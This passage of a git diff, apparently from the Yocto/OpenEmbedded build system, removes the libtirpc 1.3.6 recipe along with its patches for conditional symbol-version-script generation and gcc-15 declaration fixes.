27 src/{libtirpc.map => libtirpc.map.in} | 48 +++++--------------------
28 3 files changed, 77 insertions(+), 42 deletions(-)
29 rename src/{libtirpc.map => libtirpc.map.in} (84%)
30
31--- a/configure.ac
32+++ b/configure.ac
33@@ -77,6 +77,19 @@ if test "x$enable_ipv6" != xno; then
34 AC_DEFINE(INET6, 1, [Define to 1 if IPv6 is available])
35 fi
36
37+# RPC database support
38+AC_ARG_ENABLE(rpcdb,
39+ [AS_HELP_STRING([--enable-rpcdb], [Enable RPC Database support @<:@default=no@:>@])],
40+ [], [enable_rpcdb=no])
41+AM_CONDITIONAL(RPCDB, test "x$enable_rpcdb" = xyes)
42+if test "x$enable_rpcdb" != "xno"; then
43+ AC_CHECK_FUNCS([getrpcent getrpcbyname getrpcbynumber], [have_rpcdb=yes])
44+
45+ if test "x$have_rpcdb" = "xyes"; then
46+ AC_DEFINE([RPCDB], [1], [Define if RPC database support is available])
47+ fi
48+fi
49+
50 AC_ARG_ENABLE(symvers,
51 [AS_HELP_STRING([--disable-symvers],[Disable symbol versioning @<:@default=no@:>@])],
52 [],[enable_symvers=maybe])
53@@ -97,6 +110,33 @@ fi
54
55 AM_CONDITIONAL(SYMVERS, test "x$enable_symvers" = xyes)
56
57+# Generate symbol lists for version script
58+if test "x$enable_gssapi" = "xyes"; then
59+ GSS_SYMBOLS="_svcauth_gss; authgss_create; authgss_create_default; authgss_free_private_data; authgss_get_private_data; authgss_service; gss_log_debug; gss_log_hexdump; gss_log_status; rpc_gss_get_error; rpc_gss_get_mech_info; rpc_gss_get_mechanisms; rpc_gss_get_principal_name; rpc_gss_get_versions; rpc_gss_qop_to_num; rpc_gss_seccreate; rpc_gss_set_callback; rpc_gss_set_defaults; rpc_gss_set_svc_name; rpc_gss_svc_max_data_length;"
60+
61+ GSS_SYMBOLS_031="svcauth_gss_get_principal; svcauth_gss_set_svc_name;"
62+else
63+ GSS_SYMBOLS=""
64+ GSS_SYMBOLS_031=""
65+fi
66+
67+if test "x$enable_authdes" = "xyes"; then
68+ DES_SYMBOLS="cbc_crypt; ecb_crypt; xdr_authdes_cred; xdr_authdes_verf; xdr_rpc_gss_cred; xdr_rpc_gss_data; xdr_rpc_gss_init_args; xdr_rpc_gss_init_res;"
69+else
70+ DES_SYMBOLS=""
71+fi
72+
73+if test "x$enable_rpcdb" = "xyes"; then
74+ RPCDB_SYMBOLS="endrpcent; getrpcent; getrpcbynumber; getrpcbyname; setrpcent;"
75+else
76+ RPCDB_SYMBOLS=""
77+fi
78+
79+AC_SUBST([GSS_SYMBOLS])
80+AC_SUBST([GSS_SYMBOLS_031])
81+AC_SUBST([DES_SYMBOLS])
82+AC_SUBST([RPCDB_SYMBOLS])
83+
84 AC_CANONICAL_BUILD
85 # Check for which host we are on and setup a few things
86 # specifically based on the host
87@@ -167,7 +207,16 @@ AC_CHECK_FUNCS([getpeereid getrpcbyname
88 AC_CHECK_TYPES(struct rpcent,,, [
89 #include <netdb.h>])
90 AC_CONFIG_FILES([Makefile src/Makefile man/Makefile doc/Makefile])
91+AC_CONFIG_FILES([src/libtirpc.map])
92 AC_CONFIG_FILES([libtirpc.pc])
93 AC_OUTPUT
94
95+# Configuration summary
96+AC_MSG_NOTICE([
97+libtirpc configuration summary:
98+ GSS-API support: $enable_gssapi
99+ DES crypto support: $enable_authdes
100+ RPC database support: $enable_rpcdb
101+ Symbol versioning: $enable_symvers
102+])
103
104--- a/src/Makefile.am
105+++ b/src/Makefile.am
106@@ -6,6 +6,9 @@
107 ## anything like that.
108
109 noinst_HEADERS = rpc_com.h debug.h
110+EXTRA_DIST = libtirpc.map.in
111+# Generated files
112+BUILT_SOURCES = libtirpc.map
113
114 AM_CPPFLAGS = -I$(top_srcdir)/tirpc -include config.h -DPORTMAP -DINET6 \
115 -D_GNU_SOURCE -Wall -pipe
116@@ -15,10 +18,19 @@ lib_LTLIBRARIES = libtirpc.la
117 libtirpc_la_LDFLAGS = @LDFLAG_NOUNDEFINED@ -no-undefined @PTHREAD_LIBS@
118 libtirpc_la_LDFLAGS += -version-info @LT_VERSION_INFO@
119
120+# Generate version script from template
121+libtirpc.map: $(srcdir)/libtirpc.map.in
122+ $(AM_V_GEN)$(SED) \
123+ -e 's|@GSS_SYMBOLS@|$(GSS_SYMBOLS)|g' \
124+ -e 's|@GSS_SYMBOLS_031@|$(GSS_SYMBOLS_031)|g' \
125+ -e 's|@DES_SYMBOLS@|$(DES_SYMBOLS)|g' \
126+ -e 's|@RPCDB_SYMBOLS@|$(RPCDB_SYMBOLS)|g' \
127+ < $(srcdir)/libtirpc.map.in > $@ || rm -f $@
128+
129 libtirpc_la_SOURCES = auth_none.c auth_unix.c authunix_prot.c \
130 binddynport.c bindresvport.c \
131 clnt_bcast.c clnt_dg.c clnt_generic.c clnt_perror.c clnt_raw.c clnt_simple.c \
132- clnt_vc.c rpc_dtablesize.c getnetconfig.c getnetpath.c getrpcent.c \
133+ clnt_vc.c rpc_dtablesize.c getnetconfig.c getnetpath.c \
134 getrpcport.c mt_misc.c pmap_clnt.c pmap_getmaps.c pmap_getport.c \
135 pmap_prot.c pmap_prot2.c pmap_rmt.c rpc_prot.c rpc_commondata.c \
136 rpc_callmsg.c rpc_generic.c rpc_soc.c rpcb_clnt.c rpcb_prot.c \
137@@ -34,19 +46,23 @@ endif
138 libtirpc_la_SOURCES += xdr.c xdr_rec.c xdr_array.c xdr_float.c xdr_mem.c xdr_reference.c xdr_stdio.c xdr_sizeof.c
139
140 if SYMVERS
141- libtirpc_la_LDFLAGS += -Wl,--version-script=$(srcdir)/libtirpc.map
142+ libtirpc_la_LDFLAGS += -Wl,--version-script=$(builddir)/libtirpc.map
143 endif
144
145 ## Secure-RPC
146 if GSS
147- libtirpc_la_SOURCES += auth_gss.c authgss_prot.c svc_auth_gss.c \
148- rpc_gss_utils.c
149- libtirpc_la_LIBADD = $(GSSAPI_LIBS)
150- libtirpc_la_CFLAGS = -DHAVE_RPCSEC_GSS $(GSSAPI_CFLAGS)
151+libtirpc_la_SOURCES += auth_gss.c authgss_prot.c svc_auth_gss.c rpc_gss_utils.c
152+libtirpc_la_LIBADD = $(GSSAPI_LIBS)
153+libtirpc_la_CFLAGS = -DHAVE_RPCSEC_GSS $(GSSAPI_CFLAGS)
154+endif
155+
156+# Conditionally add RPC database sources
157+if RPCDB
158+libtirpc_la_SOURCES += getrpcent.c
159 endif
160
161 libtirpc_la_SOURCES += key_call.c key_prot_xdr.c getpublickey.c
162 libtirpc_la_SOURCES += netname.c netnamer.c rpcdname.c rtime.c
163
164-CLEANFILES = cscope.* *~
165+CLEANFILES = cscope.* libtirpc.map *~
166 DISTCLEANFILES = Makefile.in
167--- a/src/libtirpc.map
168+++ /dev/null
169@@ -1,335 +0,0 @@
170-TIRPC_0.3.0 {
171- global:
172- # __*
173- __rpc_createerr;
174- __rpc_dtbsize;
175- __rpc_endconf;
176- __rpc_fd2sockinfo;
177- __rpc_fixup_addr;
178- __rpc_get_a_size;
179- __rpc_get_local_uid;
180- __rpc_get_t_size;
181- __rpc_getconf;
182- __rpc_getconfip;
183- __rpc_nconf2fd;
184- __rpc_nconf2fd_flags;
185- __rpc_nconf2sockinfo;
186- __rpc_rawcombuf;
187- __rpc_seman2socktype;
188- __rpc_setconf;
189- __rpc_sockinfo2netid;
190- __rpc_sockisbound;
191- __rpc_socktype2seman;
192- __rpc_taddr2uaddr_af;
193- __rpc_uaddr2taddr_af;
194- __rpcgettp;
195-
196- # _*
197- _authenticate;
198- _get_next_token;
199- _gss_authenticate;
200- _null_auth;
201- _rpc_dtablesize;
202- _seterr_reply;
203- _svcauth_none;
204- _svcauth_short;
205- _svcauth_unix;
206- _svcauth_gss;
207-
208- # a*
209- authdes_create;
210- authdes_seccreate;
211- authgss_create;
212- authgss_create_default;
213- authgss_free_private_data;
214- authgss_get_private_data;
215- authgss_service;
216- authnone_create;
217- authunix_create;
218- authunix_create_default;
219-
220- # b*
221- bindresvport;
222- bindresvport_sa;
223-
224- # c*
225- callrpc;
226- cbc_crypt;
227- clnt_broadcast;
228- clnt_create;
229- clnt_create_timed;
230- clnt_create_vers;
231- clnt_create_vers_timed;
232- clnt_dg_create;
233- clnt_pcreateerror;
234- clnt_perrno;
235- clnt_perror;
236- clnt_raw_create;
237- clnt_spcreateerror;
238- clnt_sperrno;
239- clnt_sperror;
240- clnt_tli_create;
241- clnt_tp_create;
242- clnt_tp_create_timed;
243- clnt_vc_create;
244- clntraw_create;
245- clnttcp_create;
246- clntudp_bufcreate;
247- clntudp_create;
248- clntunix_create;
249-
250- # e*
251- ecb_crypt;
252- endnetconfig;
253- endnetpath;
254- endrpcent;
255-
256- # f*
257- freenetconfigent;
258-
259- # g*
260- get_myaddress;
261- getnetconfig;
262- getnetconfigent;
263- getnetpath;
264- getrpcent;
265- getrpcbynumber;
266- getrpcbyname;
267- getrpcport;
268- gss_log_debug;
269- gss_log_hexdump;
270- gss_log_status;
271-
272- # n*
273- nc_perror;
274- nc_sperror;
275-
276- # p*
277- pmap_getmaps;
278- pmap_getport;
279- pmap_rmtcall;
280- pmap_set;
281- pmap_unset;
282-
283- # r*
284- registerrpc;
285- rpc_broadcast;
286- rpc_broadcast_exp;
287- rpc_call;
288- rpc_control;
289- rpc_createerr;
290- rpc_gss_get_error;
291- rpc_gss_get_mech_info;
292- rpc_gss_get_mechanisms;
293- rpc_gss_get_principal_name;
294- rpc_gss_get_versions;
295- rpc_gss_getcred;
296- rpc_gss_is_installed;
297- rpc_gss_max_data_length;
298- rpc_gss_mech_to_oid;
299- rpc_gss_qop_to_num;
300- rpc_gss_seccreate;
301- rpc_gss_set_callback;
302- rpc_gss_set_defaults;
303- rpc_gss_set_svc_name;
304- rpc_gss_svc_max_data_length;
305- rpc_nullproc;
306- rpc_reg;
307- rpcb_getaddr;
308- rpcb_getmaps;
309- rpcb_gettime;
310- rpcb_rmtcall;
311- rpcb_set;
312- rpcb_taddr2uaddr;
313- rpcb_uaddr2taddr;
314- rpcb_unset;
315-
316- # s*
317- setnetconfig;
318- setnetpath;
319- setrpcent;
320- svc_auth_reg;
321- svc_create;
322- svc_dg_create;
323- svc_dg_enablecache;
324- svc_exit;
325- svc_fd_create;
326- svc_fdset;
327- svc_getreq;
328- svc_getreq_common;
329- svc_getreq_poll;
330- svc_getreqset;
331- svc_maxfd;
332- svc_raw_create;
333- svc_reg;
334- svc_register;
335- svc_run;
336- svc_sendreply;
337- svc_tli_create;
338- svc_tp_create;
339- svc_unreg;
340- svc_unregister;
341- svc_vc_create;
342- svcerr_auth;
343- svcerr_decode;
344- svcerr_noproc;
345- svcerr_noprog;
346- svcerr_progvers;
347- svcerr_systemerr;
348- svcerr_weakauth;
349- svcfd_create;
350- svcraw_create;
351- svctcp_create;
352- svcudp_bufcreate;
353- svcudp_create;
354- svcunix_create;
355- svcunixfd_create;
356-
357- # t*
358- taddr2uaddr;
359-
360- # u*
361- uaddr2taddr;
362-
363- # x*
364- xdr_accepted_reply;
365- xdr_array;
366- xdr_authdes_cred;
367- xdr_authdes_verf;
368- xdr_authunix_parms;
369- xdr_bool;
370- xdr_bytes;
371- xdr_callhdr; xdr_callmsg;
372- xdr_char;
373- xdr_des_block;
374- xdr_double;
375- xdr_enum;
376- xdr_float;
377- xdr_free;
378- xdr_hyper;
379- xdr_int16_t;
380- xdr_int32_t;
381- xdr_int64_t;
382- xdr_int8_t;
383- xdr_int;
384- xdr_long;
385- xdr_longlong_t;
386- xdr_netbuf;
387- xdr_netobj;
388- xdr_opaque;
389- xdr_opaque_auth;
390- xdr_pmap;
391- xdr_pmaplist;
392- xdr_pmaplist_ptr;
393- xdr_pointer;
394- xdr_quad_t;
395- xdr_reference;
396- xdr_rejected_reply;
397- xdr_replymsg;
398- xdr_rmtcall_args;
399- xdr_rmtcallres;
400- xdr_rpc_gss_cred;
401- xdr_rpc_gss_data;
402- xdr_rpc_gss_init_args;
403- xdr_rpc_gss_init_res;
404- xdr_rpcb;
405- xdr_rpcb_entry;
406- xdr_rpcb_entry_list_ptr;
407- xdr_rpcb_rmtcallargs;
408- xdr_rpcb_rmtcallres;
409- xdr_rpcb_stat;
410- xdr_rpcb_stat_byvers;
411- xdr_rpcblist;
412- xdr_rpcblist_ptr;
413- xdr_rpcbs_addrlist;
414- xdr_rpcbs_addrlist_ptr;
415- xdr_rpcbs_proc;
416- xdr_rpcbs_rmtcalllist;
417- xdr_rpcbs_rmtcalllist_ptr;
418- xdr_short;
419- xdr_string;
420- xdr_u_char;
421- xdr_u_hyper;
422- xdr_u_int16_t;
423- xdr_u_int32_t;
424- xdr_u_int64_t;
425- xdr_u_int8_t;
426- xdr_u_int;
427- xdr_u_long;
428- xdr_u_longlong_t;
429- xdr_u_quad_t;
430- xdr_u_short;
431- xdr_uint16_t;
432- xdr_uint32_t;
433- xdr_uint64_t;
434- xdr_uint8_t;
435- xdr_union;
436- xdr_vector;
437- xdr_void;
438- xdr_wrapstring;
439- xdrmem_create;
440- xdrrec_create;
441- xdrrec_endofrecord;
442- xdrrec_eof;
443- xdrrec_skiprecord;
444- xdrstdio_create;
445- xprt_register;
446- xprt_unregister;
447-
448- local:
449- *;
450-};
451-
452-TIRPC_0.3.1 {
453- svcauth_gss_get_principal;
454- svcauth_gss_set_svc_name;
455-} TIRPC_0.3.0;
456-
457-TIRPC_0.3.2 {
458- getnetname;
459- getpublicandprivatekey;
460- getpublickey;
461- host2netname;
462- key_call_destroy;
463- key_decryptsession;
464- key_decryptsession_pk;
465- key_encryptsession;
466- key_encryptsession_pk;
467- key_gendes;
468- key_get_conv;
469- key_setsecret;
470- key_secretkey_is_set;
471- key_setnet;
472- netname2host;
473- netname2user;
474- rtime;
475- user2netname;
476- xdr_cryptkeyarg;
477- xdr_cryptkeyarg2;
478- xdr_cryptkeyres;
479- xdr_getcredres;
480- xdr_key_netstarg;
481- xdr_key_netstres;
482- xdr_keybuf;
483- xdr_keystatus;
484- xdr_netnamestr;
485- xdr_unixcred;
486-} TIRPC_0.3.1;
487-
488-TIRPC_0.3.3 {
489- __getpublickey_LOCAL;
490- __key_decryptsession_pk_LOCAL;
491- __key_encryptsession_pk_LOCAL;
492- __key_gendes_LOCAL;
493- xdr_sizeof;
494- authdes_pk_create;
495- svc_pollfd;
496- svc_max_pollfd;
497-} TIRPC_0.3.2;
498-
499-TIRPC_PRIVATE {
500- global:
501- __libc_clntudp_bufcreate;
502- # private, but used by rpcbind:
503- __svc_clean_idle; svc_auth_none; libtirpc_set_debug;
504-};
505--- /dev/null
506+++ b/src/libtirpc.map.in
507@@ -0,0 +1,303 @@
508+TIRPC_0.3.0 {
509+ global:
510+ # __*
511+ __rpc_createerr;
512+ __rpc_dtbsize;
513+ __rpc_endconf;
514+ __rpc_fd2sockinfo;
515+ __rpc_fixup_addr;
516+ __rpc_get_a_size;
517+ __rpc_get_local_uid;
518+ __rpc_get_t_size;
519+ __rpc_getconf;
520+ __rpc_getconfip;
521+ __rpc_nconf2fd;
522+ __rpc_nconf2fd_flags;
523+ __rpc_nconf2sockinfo;
524+ __rpc_rawcombuf;
525+ __rpc_seman2socktype;
526+ __rpc_setconf;
527+ __rpc_sockinfo2netid;
528+ __rpc_sockisbound;
529+ __rpc_socktype2seman;
530+ __rpc_taddr2uaddr_af;
531+ __rpc_uaddr2taddr_af;
532+ __rpcgettp;
533+
534+ # _*
535+ _authenticate;
536+ _get_next_token;
537+ _gss_authenticate;
538+ _null_auth;
539+ _rpc_dtablesize;
540+ _seterr_reply;
541+ _svcauth_none;
542+ _svcauth_short;
543+ _svcauth_unix;
544+
545+ # a*
546+ authdes_create;
547+ authdes_seccreate;
548+ authnone_create;
549+ authunix_create;
550+ authunix_create_default;
551+
552+ # b*
553+ bindresvport;
554+ bindresvport_sa;
555+
556+ # c*
557+ callrpc;
558+ clnt_broadcast;
559+ clnt_create;
560+ clnt_create_timed;
561+ clnt_create_vers;
562+ clnt_create_vers_timed;
563+ clnt_dg_create;
564+ clnt_pcreateerror;
565+ clnt_perrno;
566+ clnt_perror;
567+ clnt_raw_create;
568+ clnt_spcreateerror;
569+ clnt_sperrno;
570+ clnt_sperror;
571+ clnt_tli_create;
572+ clnt_tp_create;
573+ clnt_tp_create_timed;
574+ clnt_vc_create;
575+ clntraw_create;
576+ clnttcp_create;
577+ clntudp_bufcreate;
578+ clntudp_create;
579+ clntunix_create;
580+
581+ # e*
582+ endnetconfig;
583+ endnetpath;
584+
585+ # f*
586+ freenetconfigent;
587+
588+ # g*
589+ get_myaddress;
590+ getnetconfig;
591+ getnetconfigent;
592+ getnetpath;
593+ getrpcport;
594+
595+ # n*
596+ nc_perror;
597+ nc_sperror;
598+
599+ # p*
600+ pmap_getmaps;
601+ pmap_getport;
602+ pmap_rmtcall;
603+ pmap_set;
604+ pmap_unset;
605+
606+ # r*
607+ registerrpc;
608+ rpc_broadcast;
609+ rpc_broadcast_exp;
610+ rpc_call;
611+ rpc_control;
612+ rpc_createerr;
613+ rpc_nullproc;
614+ rpc_reg;
615+ rpcb_getaddr;
616+ rpcb_getmaps;
617+ rpcb_gettime;
618+ rpcb_rmtcall;
619+ rpcb_set;
620+ rpcb_taddr2uaddr;
621+ rpcb_uaddr2taddr;
622+ rpcb_unset;
623+
624+ # s*
625+ setnetconfig;
626+ setnetpath;
627+ svc_auth_reg;
628+ svc_create;
629+ svc_dg_create;
630+ svc_dg_enablecache;
631+ svc_exit;
632+ svc_fd_create;
633+ svc_fdset;
634+ svc_getreq;
635+ svc_getreq_common;
636+ svc_getreq_poll;
637+ svc_getreqset;
638+ svc_maxfd;
639+ svc_raw_create;
640+ svc_reg;
641+ svc_register;
642+ svc_run;
643+ svc_sendreply;
644+ svc_tli_create;
645+ svc_tp_create;
646+ svc_unreg;
647+ svc_unregister;
648+ svc_vc_create;
649+ svcerr_auth;
650+ svcerr_decode;
651+ svcerr_noproc;
652+ svcerr_noprog;
653+ svcerr_progvers;
654+ svcerr_systemerr;
655+ svcerr_weakauth;
656+ svcfd_create;
657+ svcraw_create;
658+ svctcp_create;
659+ svcudp_bufcreate;
660+ svcudp_create;
661+ svcunix_create;
662+ svcunixfd_create;
663+
664+ # t*
665+ taddr2uaddr;
666+
667+ # u*
668+ uaddr2taddr;
669+
670+ # x*
671+ xdr_accepted_reply;
672+ xdr_array;
673+ xdr_authunix_parms;
674+ xdr_bool;
675+ xdr_bytes;
676+ xdr_callhdr; xdr_callmsg;
677+ xdr_char;
678+ xdr_des_block;
679+ xdr_double;
680+ xdr_enum;
681+ xdr_float;
682+ xdr_free;
683+ xdr_hyper;
684+ xdr_int16_t;
685+ xdr_int32_t;
686+ xdr_int64_t;
687+ xdr_int8_t;
688+ xdr_int;
689+ xdr_long;
690+ xdr_longlong_t;
691+ xdr_netbuf;
692+ xdr_netobj;
693+ xdr_opaque;
694+ xdr_opaque_auth;
695+ xdr_pmap;
696+ xdr_pmaplist;
697+ xdr_pmaplist_ptr;
698+ xdr_pointer;
699+ xdr_quad_t;
700+ xdr_reference;
701+ xdr_rejected_reply;
702+ xdr_replymsg;
703+ xdr_rmtcall_args;
704+ xdr_rmtcallres;
705+ xdr_rpcb;
706+ xdr_rpcb_entry;
707+ xdr_rpcb_entry_list_ptr;
708+ xdr_rpcb_rmtcallargs;
709+ xdr_rpcb_rmtcallres;
710+ xdr_rpcb_stat;
711+ xdr_rpcb_stat_byvers;
712+ xdr_rpcblist;
713+ xdr_rpcblist_ptr;
714+ xdr_rpcbs_addrlist;
715+ xdr_rpcbs_addrlist_ptr;
716+ xdr_rpcbs_proc;
717+ xdr_rpcbs_rmtcalllist;
718+ xdr_rpcbs_rmtcalllist_ptr;
719+ xdr_short;
720+ xdr_string;
721+ xdr_u_char;
722+ xdr_u_hyper;
723+ xdr_u_int16_t;
724+ xdr_u_int32_t;
725+ xdr_u_int64_t;
726+ xdr_u_int8_t;
727+ xdr_u_int;
728+ xdr_u_long;
729+ xdr_u_longlong_t;
730+ xdr_u_quad_t;
731+ xdr_u_short;
732+ xdr_uint16_t;
733+ xdr_uint32_t;
734+ xdr_uint64_t;
735+ xdr_uint8_t;
736+ xdr_union;
737+ xdr_vector;
738+ xdr_void;
739+ xdr_wrapstring;
740+ xdrmem_create;
741+ xdrrec_create;
742+ xdrrec_endofrecord;
743+ xdrrec_eof;
744+ xdrrec_skiprecord;
745+ xdrstdio_create;
746+ xprt_register;
747+ xprt_unregister;
748+ # GSS-API symbols (conditionally included)
749+@GSS_SYMBOLS@
750+ # DES crypto symbols (conditionally included)
751+@DES_SYMBOLS@
752+ # RPC database symbols (conditionally included)
753+@RPCDB_SYMBOLS@
754+
755+ local:
756+ *;
757+};
758+
759+TIRPC_0.3.1 {
760+# GSS-API symbols (conditionally included)
761+@GSS_SYMBOLS_031@
762+} TIRPC_0.3.0;
763+
764+TIRPC_0.3.2 {
765+ getnetname;
766+ getpublicandprivatekey;
767+ getpublickey;
768+ host2netname;
769+ key_decryptsession;
770+ key_decryptsession_pk;
771+ key_encryptsession;
772+ key_encryptsession_pk;
773+ key_gendes;
774+ key_get_conv;
775+ key_setsecret;
776+ key_secretkey_is_set;
777+ key_setnet;
778+ netname2host;
779+ netname2user;
780+ rtime;
781+ user2netname;
782+ xdr_cryptkeyarg;
783+ xdr_cryptkeyarg2;
784+ xdr_cryptkeyres;
785+ xdr_getcredres;
786+ xdr_key_netstarg;
787+ xdr_key_netstres;
788+ xdr_keybuf;
789+ xdr_keystatus;
790+ xdr_netnamestr;
791+ xdr_unixcred;
792+} TIRPC_0.3.1;
793+
794+TIRPC_0.3.3 {
795+ __getpublickey_LOCAL;
796+ __key_decryptsession_pk_LOCAL;
797+ __key_encryptsession_pk_LOCAL;
798+ __key_gendes_LOCAL;
799+ xdr_sizeof;
800+ authdes_pk_create;
801+ svc_pollfd;
802+ svc_max_pollfd;
803+} TIRPC_0.3.2;
804+
805+TIRPC_PRIVATE {
806+ global:
807+ __libc_clntudp_bufcreate;
808+ # private, but used by rpcbind:
809+ __svc_clean_idle; svc_auth_none; libtirpc_set_debug;
810+};
diff --git a/meta/recipes-extended/libtirpc/libtirpc/0001-Update-declarations-to-allow-compile-with-gcc-15.patch b/meta/recipes-extended/libtirpc/libtirpc/0001-Update-declarations-to-allow-compile-with-gcc-15.patch
deleted file mode 100644
index 7bfe7c2924..0000000000
--- a/meta/recipes-extended/libtirpc/libtirpc/0001-Update-declarations-to-allow-compile-with-gcc-15.patch
+++ /dev/null
@@ -1,64 +0,0 @@
1From b526c0a90953f47d4cbf7ef01e9ac13e9e76904a Mon Sep 17 00:00:00 2001
2From: Rudi Heitbaum <rudi@heitbaum.com>
3Date: Thu, 12 Dec 2024 04:16:02 -0500
4Subject: [PATCH 1/2] Update declarations to allow compile with gcc-15
5
6This patch fixes some of the compile errors with gcc 15-20241117.
7
8In addition the follow declarations need to be fixed:
9 sed -n 75,77p libtirpc-1.3.6/src/key_call.c
10 cryptkeyres *(*__key_encryptsession_pk_LOCAL)() = 0;
11 cryptkeyres *(*__key_decryptsession_pk_LOCAL)() = 0;
12 des_block *(*__key_gendes_LOCAL)() = 0;
13
14Upstream-Status: Backport [https://git.linux-nfs.org/?p=steved/libtirpc.git;a=commit;h=d473f1e1f6ba80bfaee4daa058da159305167323]
15Signed-off-by: Rudi Heitbaum <rudi@heitbaum.com>
16Signed-off-by: Steve Dickson <steved@redhat.com>
17Signed-off-by: Khem Raj <raj.khem@gmail.com>
18---
19 src/auth_none.c | 2 +-
20 src/getpublickey.c | 2 +-
21 src/svc_auth_none.c | 4 ++--
22 3 files changed, 4 insertions(+), 4 deletions(-)
23
24diff --git a/src/auth_none.c b/src/auth_none.c
25index 0b0bbd1..aca6e71 100644
26--- a/src/auth_none.c
27+++ b/src/auth_none.c
28@@ -62,7 +62,7 @@ static bool_t authnone_validate (AUTH *, struct opaque_auth *);
29 static bool_t authnone_refresh (AUTH *, void *);
30 static void authnone_destroy (AUTH *);
31
32-extern bool_t xdr_opaque_auth();
33+extern bool_t xdr_opaque_auth(XDR *, struct opaque_auth *);
34
35 static struct auth_ops *authnone_ops();
36
37diff --git a/src/getpublickey.c b/src/getpublickey.c
38index be37a24..4e96c7c 100644
39--- a/src/getpublickey.c
40+++ b/src/getpublickey.c
41@@ -52,7 +52,7 @@
42 /*
43 * Hack to let ypserv/rpc.nisd use AUTH_DES.
44 */
45-int (*__getpublickey_LOCAL)() = 0;
46+int (*__getpublickey_LOCAL)(const char *, char *) = 0;
47
48 /*
49 * Get somebody's public key
50diff --git a/src/svc_auth_none.c b/src/svc_auth_none.c
51index 887e809..5ca98e9 100644
52--- a/src/svc_auth_none.c
53+++ b/src/svc_auth_none.c
54@@ -37,8 +37,8 @@
55
56 #include <rpc/rpc.h>
57
58-static bool_t svcauth_none_destroy();
59-static bool_t svcauth_none_wrap();
60+static bool_t svcauth_none_destroy(SVCAUTH *);
61+static bool_t svcauth_none_wrap(SVCAUTH *, XDR *, bool_t (*)(XDR *, ...), char *);
62
63 struct svc_auth_ops svc_auth_none_ops = {
64 svcauth_none_wrap,
diff --git a/meta/recipes-extended/libtirpc/libtirpc/0002-update-signal-and-key_call-declarations-to-allow-com.patch b/meta/recipes-extended/libtirpc/libtirpc/0002-update-signal-and-key_call-declarations-to-allow-com.patch
deleted file mode 100644
index 83e2105a1a..0000000000
--- a/meta/recipes-extended/libtirpc/libtirpc/0002-update-signal-and-key_call-declarations-to-allow-com.patch
+++ /dev/null
@@ -1,60 +0,0 @@
1From 55452e6ae71869880f8c85d5dba9aa24d7147d8b Mon Sep 17 00:00:00 2001
2From: Rudi Heitbaum <rudi@heitbaum.com>
3Date: Thu, 2 Jan 2025 08:46:24 -0500
4Subject: [PATCH 2/2] update signal and key_call declarations to allow compile
5 with gcc-15
6
7Follow up patch addressing the following declarations:
8 sed -n 75,77p libtirpc-1.3.6/src/key_call.c
9 cryptkeyres *(*__key_encryptsession_pk_LOCAL)() = 0;
10 cryptkeyres *(*__key_decryptsession_pk_LOCAL)() = 0;
11 des_block *(*__key_gendes_LOCAL)() = 0;
12
13Upstream-Status: Backport [https://git.linux-nfs.org/?p=steved/libtirpc.git;a=commit;h=240ee6c774729c9c24812aa8912f1fcf8996b162]
14Signed-off-by: Rudi Heitbaum <rudi@heitbaum.com>
15Signed-off-by: Steve Dickson <steved@redhat.com>
16Signed-off-by: Khem Raj <raj.khem@gmail.com>
17---
18 src/auth_time.c | 4 ++--
19 src/key_call.c | 6 +++---
20 2 files changed, 5 insertions(+), 5 deletions(-)
21
22diff --git a/src/auth_time.c b/src/auth_time.c
23index 936dd76..c21b1df 100644
24--- a/src/auth_time.c
25+++ b/src/auth_time.c
26@@ -248,7 +248,7 @@ __rpc_get_time_offset(td, srv, thost, uaddr, netid)
27 char ut[64], ipuaddr[64];
28 endpoint teps[32];
29 nis_server tsrv;
30- void (*oldsig)() = NULL; /* old alarm handler */
31+ void (*oldsig)(int) = NULL; /* old alarm handler */
32 struct sockaddr_in sin;
33 int s = RPC_ANYSOCK;
34 socklen_t len;
35@@ -417,7 +417,7 @@ __rpc_get_time_offset(td, srv, thost, uaddr, netid)
36 } else {
37 int res;
38
39- oldsig = (void (*)())signal(SIGALRM, alarm_hndler);
40+ oldsig = (void (*)(int))signal(SIGALRM, alarm_hndler);
41 saw_alarm = 0; /* global tracking the alarm */
42 alarm(20); /* only wait 20 seconds */
43 res = connect(s, (struct sockaddr *)&sin, sizeof(sin));
44diff --git a/src/key_call.c b/src/key_call.c
45index 9f4b1d2..43f990e 100644
46--- a/src/key_call.c
47+++ b/src/key_call.c
48@@ -72,9 +72,9 @@
49 * implementations of these functions, and to call those in key_call().
50 */
51
52-cryptkeyres *(*__key_encryptsession_pk_LOCAL)() = 0;
53-cryptkeyres *(*__key_decryptsession_pk_LOCAL)() = 0;
54-des_block *(*__key_gendes_LOCAL)() = 0;
55+cryptkeyres *(*__key_encryptsession_pk_LOCAL)(uid_t, char *) = 0;
56+cryptkeyres *(*__key_decryptsession_pk_LOCAL)(uid_t, char *) = 0;
57+des_block *(*__key_gendes_LOCAL)(uid_t, char *) = 0;
58
59 static int key_call( u_long, xdrproc_t, void *, xdrproc_t, void *);
60
diff --git a/meta/recipes-extended/libtirpc/libtirpc_1.3.6.bb b/meta/recipes-extended/libtirpc/libtirpc_1.3.6.bb
deleted file mode 100644
index c6901839c1..0000000000
--- a/meta/recipes-extended/libtirpc/libtirpc_1.3.6.bb
+++ /dev/null
@@ -1,36 +0,0 @@
1SUMMARY = "Transport-Independent RPC library"
2DESCRIPTION = "Libtirpc is a port of Suns Transport-Independent RPC library to Linux"
3SECTION = "libs/network"
4HOMEPAGE = "http://sourceforge.net/projects/libtirpc/"
5BUGTRACKER = "http://sourceforge.net/tracker/?group_id=183075&atid=903784"
6LICENSE = "BSD-3-Clause"
7LIC_FILES_CHKSUM = "file://COPYING;md5=f835cce8852481e4b2bbbdd23b5e47f3 \
8 file://src/netname.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
9
10PROVIDES = "virtual/librpc"
11
12SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2 \
13 file://0001-Update-declarations-to-allow-compile-with-gcc-15.patch \
14 file://0002-update-signal-and-key_call-declarations-to-allow-com.patch \
15 file://0001-Add-conditional-version-script-support.patch \
16 "
17UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/libtirpc/files/libtirpc/"
18UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/"
19SRC_URI[sha256sum] = "bbd26a8f0df5690a62a47f6aa30f797f3ef8d02560d1bc449a83066b5a1d3508"
20
21inherit autotools pkgconfig
22
23PACKAGECONFIG ??= "\
